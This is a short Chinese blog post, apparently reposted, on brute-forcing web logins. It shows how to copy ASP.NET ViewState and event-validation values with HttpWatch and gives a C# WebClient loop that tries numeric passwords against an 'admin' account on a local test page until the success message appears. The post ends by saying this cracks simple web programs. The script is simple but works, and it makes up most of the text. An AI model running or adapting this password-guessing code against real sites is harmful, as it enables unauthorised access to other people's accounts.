WEB中暴力破解

暴力破解:一个接一个的试,直到试验出正确的密码。

详细如下:


利用HttpWatch软件进行检测,选择Stream选项卡下面的文件_ViewState


然后我们建一个应用程序:

代码
    
    
    
    
1 WebClient web = new WebClient();
2 web.Encoding = Encoding.UTF8;
3 for ( int i = 0 ; i < 399 ; i ++ )
4 {
5 string s = web.DownloadString( " http://localhost:2118/WebSite5/Default.aspx?
__VIEWSTATE=%2FwEPDwUKMTYzNzQ1NDcxN2Rkg804Yc5o9vrY7xCLcOO1%2FUInvAU%3D&txtName=admin&txtPass=
" +
i.ToString() +
"
&Button1=%E7%99%BB%E9%99%86&__EVENTVALIDATION=%2FwEWBAL60vXOCgLEhISFCwLKw6LdBQKM54rGBlE0dgunJ7CE4iZnuSf6tAvjjcI8 " );
6 if (s.Contains( " 登陆成功 " ))
7 {
8 Console.WriteLine( " 密码破解成功:密码为: " + i.ToString());
9 break ;
10 }
11 }
12
13 Console.ReadKey();

 

我们可以把上图中的选择内容放到WebClient对象的DownLoadString方法中,与我们的URL用“?”相隔。

 

这样就可以破解简单的web程序啦!!!!

本文地址: http://www.daiboblog.com/detail/Daimon/1101191315295iiq_1.htm

你可能感兴趣的:(Web,职场,休闲)